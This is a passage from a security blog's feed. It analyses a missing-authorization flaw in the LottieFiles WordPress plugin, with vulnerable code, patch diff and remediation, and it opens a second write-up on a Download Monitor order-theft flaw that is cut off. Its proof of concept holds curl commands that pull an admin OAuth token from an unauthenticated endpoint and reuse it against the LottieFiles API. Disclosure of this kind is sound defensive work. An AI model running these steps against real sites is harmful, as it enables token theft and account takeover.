</content:encoded><atom:updated>2026-04-13T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-68043: Missing Authorization in LottieFiles Plugin (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2025-68043-missing-authorization-in-lottiefiles-plugin/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-68043-missing-authorization-in-lottiefiles-plugin/</guid><description>CVE-2025-68043 (CVSS 9.8 Critical): Missing Authorization in LottieFiles ≤3.0.0 exposes admin OAuth access tokens to unauthenticated attackers.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-68043&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/lottiefiles/&quot;&gt;LottieFiles&lt;/a&gt; WordPress plugin affecting all versions up to and including 3.0.0. All three REST API endpoints exposed by the plugin have no authentication guard whatsoever, and when the administrator has the &quot;Share with others&quot; feature enabled, any unauthenticated attacker on the internet can retrieve the full admin configuration — including the LottieFiles &lt;strong&gt;OAuth access token&lt;/strong&gt;, &lt;strong&gt;email address&lt;/strong&gt;, &lt;strong&gt;name&lt;/strong&gt;, and &lt;strong&gt;username&lt;/strong&gt; — with a single unauthenticated HTTP GET request. Possession of that token gives the attacker complete control over the connected LottieFiles account.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LottieFiles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lottiefiles&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-68043&quot;&gt;CVE-2025-68043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization (Broken Access Control)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/lottiefiles.3.0.0.zip&quot;&gt;&amp;lt;= 3.0.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/lottiefiles.zip&quot;&gt;3.1.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;February 5, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ohmymex&quot;&gt;NumeX&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/lottiefiles/lottiefiles-300-missing-authorization&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The LottieFiles plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.&lt;/p&gt;
&lt;p&gt;Specifically, all three REST API endpoints registered by the plugin at &lt;code&gt;/wp-json/lottiefiles/v1/settings/&lt;/code&gt; (GET, POST, DELETE) use &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt;, meaning no authentication or authorization is enforced. The most critical consequence is that an unauthenticated attacker can read the stored LottieFiles admin configuration — which includes the administrator&apos;s LottieFiles &lt;strong&gt;OAuth access token&lt;/strong&gt;, &lt;strong&gt;email address&lt;/strong&gt;, &lt;strong&gt;name&lt;/strong&gt;, and &lt;strong&gt;username&lt;/strong&gt; — when the &lt;code&gt;shareWithOthers&lt;/code&gt; feature has been enabled by the site administrator. With the stolen access token, an attacker gains full control over the connected LottieFiles account.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/common.php&lt;/code&gt; (lines 1–138, version 3.0.0)&lt;/p&gt;
&lt;p&gt;The plugin registers a REST API route inside the &lt;code&gt;rest_api_init&lt;/code&gt; action:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/common.php — lines 117–137 (vulnerable version 3.0.0)
register_rest_route(&apos;lottiefiles/v1&apos;, &apos;/settings/&apos;, [
    // GET — fetch stored LottieFiles config
    [
        &apos;methods&apos;             =&amp;gt; [&apos;GET&apos;],
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_getConfig&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,   // ← NO AUTH CHECK
    ],
    // POST — update stored LottieFiles config
    [
        &apos;methods&apos;             =&amp;gt; [&apos;POST&apos;],
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_addOption&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,   // ← NO AUTH CHECK
    ],
    // DELETE — delete stored LottieFiles config
    [
        &apos;methods&apos;             =&amp;gt; [&apos;DELETE&apos;],
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_deleteConfig&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,   // ← NO AUTH CHECK
    ]
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__return_true&lt;/code&gt; is a WordPress built-in that always returns &lt;code&gt;true&lt;/code&gt;, effectively disabling all access control for the endpoint.&lt;/p&gt;
&lt;h4&gt;Execution path for GET (the primary exploit path)&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Attacker&lt;/strong&gt; sends &lt;code&gt;GET /wp-json/lottiefiles/v1/settings/&lt;/code&gt; — no authentication required.&lt;/li&gt;
&lt;li&gt;WordPress routes the request to &lt;code&gt;lottiefiles_getConfig()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lottiefiles_getConfig()&lt;/code&gt; reads &lt;code&gt;get_option(&apos;lottie_config_admin&apos;)&lt;/code&gt; — the WordPress option where the plugin stores the administrator&apos;s LottieFiles credentials (access token, email, name, username, and settings).&lt;/li&gt;
&lt;li&gt;Because the attacker is unauthenticated, &lt;code&gt;is_admin_user()&lt;/code&gt; → &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; → &lt;code&gt;false&lt;/code&gt;, so execution falls into the else branch and calls &lt;code&gt;lottiefiles_userData(json_decode($tokenGlobal))&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;lottiefiles_userData()&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;get_user_meta(0, &apos;lottie_config_-0&apos;)&lt;/code&gt; returns empty (no meta for user 0).&lt;/li&gt;
&lt;li&gt;The code checks &lt;code&gt;$tokenGlobal-&amp;gt;shareWithOthers&lt;/code&gt;: &lt;strong&gt;if the admin has enabled &quot;share with others&quot;, the full admin config object — including the &lt;code&gt;accessToken&lt;/code&gt; — is returned directly to the unauthenticated caller&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// src/common.php — lottiefiles_userData() (vulnerable version 3.0.0)
function lottiefiles_userData($tokenGlobal)
{
    $metaKey = get_meta_key();
    $userID  = get_current_user_id();       // = 0 for unauthenticated
    $userMeta = get_user_meta($userID, $metaKey);
    if ($userMeta) {
        // ...
    } else {
        if ($tokenGlobal-&amp;gt;shareWithOthers) {    // ← if admin enabled this setting…
            $tokenGlobal-&amp;gt;is_block_logged_in = true;
            return $tokenGlobal;                // ← …full admin config is returned!
        } else {
            $data = [&apos;is_block_logged_in&apos; =&amp;gt; false];
            return $data;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored admin config is defined by &lt;code&gt;IHNResponseProps&lt;/code&gt; (TypeScript interface in &lt;code&gt;src/admin/settings/reducer/interfaces.ts&lt;/code&gt;) and contains:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface IUserDataProps {
    accessToken: string;   // LottieFiles OAuth access token
    avatarUrl:   string;
    email:       string;   // Admin&apos;s email address
    id:          number;
    name:        string;
    username:    string;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;All three REST API endpoints (&lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;) at &lt;code&gt;/wp-json/lottiefiles/v1/settings/&lt;/code&gt; use &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt;. This WordPress API idiom explicitly disables authorization, granting access to any caller — authenticated or not — on the public internet.&lt;/p&gt;
&lt;p&gt;There is no nonce check, no cookie check, no &lt;code&gt;is_user_logged_in()&lt;/code&gt; guard, and no capability check prior to the callback executing.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The plugin contains an internal helper &lt;code&gt;is_admin_user()&lt;/code&gt; (calling &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt;) and conditional logic inside each callback to differentiate admin from non-admin behaviour. However, these internal checks govern &lt;em&gt;what data to return or write&lt;/em&gt;, not &lt;em&gt;whether the request is authorized at all&lt;/em&gt;. Because &lt;code&gt;permission_callback&lt;/code&gt; is &lt;code&gt;__return_true&lt;/code&gt;, WordPress never rejects the unauthenticated request; execution always reaches the callback, and the callback&apos;s internal logic — which was designed for logged-in users — leaks admin data through the &lt;code&gt;shareWithOthers&lt;/code&gt; code path.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker who exploits the GET endpoint against a site where &lt;code&gt;shareWithOthers&lt;/code&gt; is enabled can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Steal the LottieFiles OAuth &lt;code&gt;accessToken&lt;/code&gt;&lt;/strong&gt; — granting full API access to the connected LottieFiles account (read, write, delete all animations and projects).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Harvest PII&lt;/strong&gt; — the administrator&apos;s email address, display name, and LottieFiles username are exposed in the JSON response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Account takeover of LottieFiles account&lt;/strong&gt; — with a valid access token the attacker can manage all LottieFiles assets, replace animations site-wide, or delete the entire library, achieving &lt;strong&gt;Confidentiality: High / Integrity: High / Availability: High&lt;/strong&gt; (CVSS 9.8).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site with the &lt;code&gt;lottiefiles&lt;/code&gt; plugin installed and activated (version &amp;lt;= 3.0.0).&lt;/li&gt;
&lt;li&gt;The site administrator has connected their LottieFiles account through the plugin settings page and &lt;strong&gt;enabled the &quot;Share with others&quot; option&lt;/strong&gt; (i.e. &lt;code&gt;shareWithOthers: true&lt;/code&gt; is stored in the &lt;code&gt;lottie_config_admin&lt;/code&gt; WordPress option).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Probe the endpoint unauthenticated&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send an unauthenticated GET request to the settings REST endpoint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET_SITE/wp-json/lottiefiles/v1/settings/&quot; | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Observe the response&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If the administrator has the &lt;code&gt;shareWithOthers&lt;/code&gt; feature enabled, the response will contain the full admin configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;accessToken&quot;: &quot;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...&quot;,
    &quot;avatarUrl&quot;: &quot;https://lottiefiles.com/cdn/avatars/admin.png&quot;,
    &quot;email&quot;: &quot;admin@example.com&quot;,
    &quot;id&quot;: 123456,
    &quot;name&quot;: &quot;Site Administrator&quot;,
    &quot;username&quot;: &quot;adminuser&quot;,
    &quot;copyLottieToMedia&quot;: false,
    &quot;isAdmin&quot;: true,
    &quot;shareWithOthers&quot;: true,
    &quot;enableCdn&quot;: false,
    &quot;is_block_logged_in&quot;: true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Use the stolen access token against the LottieFiles API&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;accessToken&lt;/code&gt; value from the response, authenticate to the LottieFiles API:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# List all files in the attacker&apos;s now-accessible LottieFiles account
curl -s &quot;https://graphql.lottiefiles.com/2022-08/graphql&quot; \
  -H &quot;Authorization: Bearer STOLEN_ACCESS_TOKEN&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;query&quot;:&quot;{ userCurrent { name email } }&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker obtains a valid LottieFiles OAuth access token belonging to the site administrator, along with the administrator&apos;s email address and account metadata. They can now perform any action on the LottieFiles account that the administrator can — reading private animations, modifying or deleting published animations, or locking the legitimate administrator out.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm exploitation succeeded by checking the LottieFiles API response to the authenticated query above returns the site administrator&apos;s &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;email&lt;/code&gt;, or by verifying that operations (listing/modifying animations) succeed using only the stolen token — with no WordPress credentials involved.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/common.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaced &lt;code&gt;&apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;&lt;/code&gt; with proper auth callbacks for all three endpoints; removed admin-token leakage path in &lt;code&gt;lottiefiles_userData()&lt;/code&gt;; renamed global helper functions to prefixed names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/admin/settings/init.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;ABSPATH&lt;/code&gt; guard; sanitized &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/gutenberg-block/init.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sanitized &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt;; removed CDN loading; prefixed function names&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Proper &lt;code&gt;permission_callback&lt;/code&gt; values (root cause fix)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The core fix is in &lt;code&gt;src/common.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// NEW — GET requires a logged-in user
function lottiefiles_settings_read_permission()
{
    return is_user_logged_in();
}

// NEW — POST/DELETE require edit_posts capability (Contributor+)
function lottiefiles_settings_write_permission()
{
    return current_user_can(&apos;edit_posts&apos;);
}

register_rest_route(&apos;lottiefiles/v1&apos;, &apos;/settings/&apos;, [
    [
        &apos;methods&apos;             =&amp;gt; WP_REST_Server::READABLE,
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_getConfig&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_read_permission&apos;, // ← FIXED
    ],
    [
        &apos;methods&apos;             =&amp;gt; WP_REST_Server::CREATABLE,
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_addOption&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_write_permission&apos;, // ← FIXED
    ],
    [
        &apos;methods&apos;             =&amp;gt; WP_REST_Server::DELETABLE,
        &apos;callback&apos;            =&amp;gt; &apos;lottiefiles_deleteConfig&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_write_permission&apos;, // ← FIXED
    ]
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Admin-token leakage path removed&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lottiefiles_userData()&lt;/code&gt; no longer accepts the admin token as a parameter and the &lt;code&gt;shareWithOthers&lt;/code&gt; fallback that returned the admin config is removed entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PATCHED — never returns admin token to non-admin callers
function lottiefiles_userData()
{
    $metaKey  = lottiefiles_get_meta_key();
    $userID   = get_current_user_id();
    $userMeta = get_user_meta($userID, $metaKey);
    if ($userMeta) {
        $responseData = json_decode(array_values($userMeta)[0]);
        $responseData-&amp;gt;is_block_logged_in = true;
        $responseData-&amp;gt;switchAccount = false;   // no longer reads admin option
        return $responseData;
    } else {
        $data = [&apos;is_block_logged_in&apos; =&amp;gt; false];
        return $data;    // always returns false — no admin fallback
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is complete for the reported vulnerability. The &lt;code&gt;shareWithOthers&lt;/code&gt; feature is also effectively neutered in the patched version.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-  &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,
+  &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_read_permission&apos;,

-  &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,
+  &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_write_permission&apos;,

-  &apos;permission_callback&apos; =&amp;gt; &apos;__return_true&apos;,
+  &apos;permission_callback&apos; =&amp;gt; &apos;lottiefiles_settings_write_permission&apos;,

+function lottiefiles_settings_read_permission()
+{
+    return is_user_logged_in();
+}
+
+function lottiefiles_settings_write_permission()
+{
+    return current_user_can(&apos;edit_posts&apos;);
+}

-  function lottiefiles_userData($tokenGlobal)
+  function lottiefiles_userData()
   {
       ...
-      if ($tokenGlobal-&amp;gt;shareWithOthers) {
-          $tokenGlobal-&amp;gt;is_block_logged_in = true;
-          return $tokenGlobal;    // leaked admin token here
-      } else {
-          $data = [&apos;is_block_logged_in&apos; =&amp;gt; false];
-          return $data;
-      }
+      $data = [&apos;is_block_logged_in&apos; =&amp;gt; false];
+      return $data;
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;February 5, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence (researcher: NumeX)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 9, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 5, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.1.0 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;lottiefiles&lt;/code&gt; plugin to version &lt;strong&gt;3.1.0&lt;/strong&gt; or later immediately. If immediate updating is not possible, deactivate the plugin until the update can be applied.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/lottiefiles/lottiefiles-300-missing-authorization&quot;&gt;Wordfence Advisory — LottieFiles &amp;lt;= 3.0.0 - Missing Authorization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vdp.patchstack.com/database/wordpress/plugin/lottiefiles/vulnerability/wordpress-lottiefiles-plugin-3-0-0-broken-access-control-vulnerability&quot;&gt;Patchstack VDP — Broken Access Control Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=/lottiefiles/tags/3.0.0&amp;amp;new_path=/lottiefiles/tags/3.1.0&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;SVN Changeset — 3.0.0 → 3.1.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-68043&quot;&gt;CVE-2025-68043 at MITRE&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-12T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3124: Download Monitor Unauthenticated IDOR To Order Theft</title><link>https://hurayraiit.com/blog/cve-2026-3124-download-monitor-unauthenticated-order-theft/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3124-download-monitor-unauthenticated-order-theft/</guid><description>CVE-2026-3124 (CVSS 7.5 High) — IDOR in Download Monitor ≤ 5.1.7 lets unauthenticated attackers steal paid downloads by completing orders with a $0.01 PayPal token.</description><pubDate>Sat, 11 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3124&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; Insecure Direct Object Reference (IDOR) vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/download-monitor/&quot;&gt;Download Monitor&lt;/a&gt; WordPress plugin affecting all versions up to and including 5.1.7. An unauthenticated attacker can complete any pending order in the store by supplying a valid PayPal token obtained from a trivially cheap purchase — effectively stealing paid digital goods without making the actual payment.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Download Monitor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;download-monitor&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3124&quot;&gt;CVE-2026-3124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Insecure Direct Object Reference (IDOR) → Unauthenticated Arbitrary Order Completion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/download-monitor.5.1.7.zip&quot;&gt;&amp;lt;= 5.1.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/download-monitor.5.1.8.zip&quot;&gt;5.1.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 29, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nguyen-ba-hung&quot;&gt;Hung Nguyen (bashu) - VN&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/download-monitor/download-monitor-517-insecure-direct-object-reference-to-unauthenticated-arbitrary-order-completion-via-token-and-order-id&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Download Monitor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.7 via the &lt;code&gt;executePayment()&lt;/code&gt; function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to complete arbitrary pending orders by exploiting a mismatch between the PayPal transaction token and the local order, allowing theft of paid digital goods by paying a minimal amount for a low-cost item and using that payment token to finalize a high-value order.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The exploit chain begins at WordPress &lt;code&gt;init&lt;/code&gt; and requires no authentication at any step.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Hook registration — &lt;code&gt;src/Shop/bootstrap.php&lt;/code&gt; (line 113)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action( &apos;init&apos;, function () {
    \WPChill\DownloadMonitor\Shop\Services\Services::get()
        -&amp;gt;service( &apos;payment_gateway&apos; )-&amp;gt;setup_gateways();
} );
&lt;/code&gt;&lt;/pre&gt;
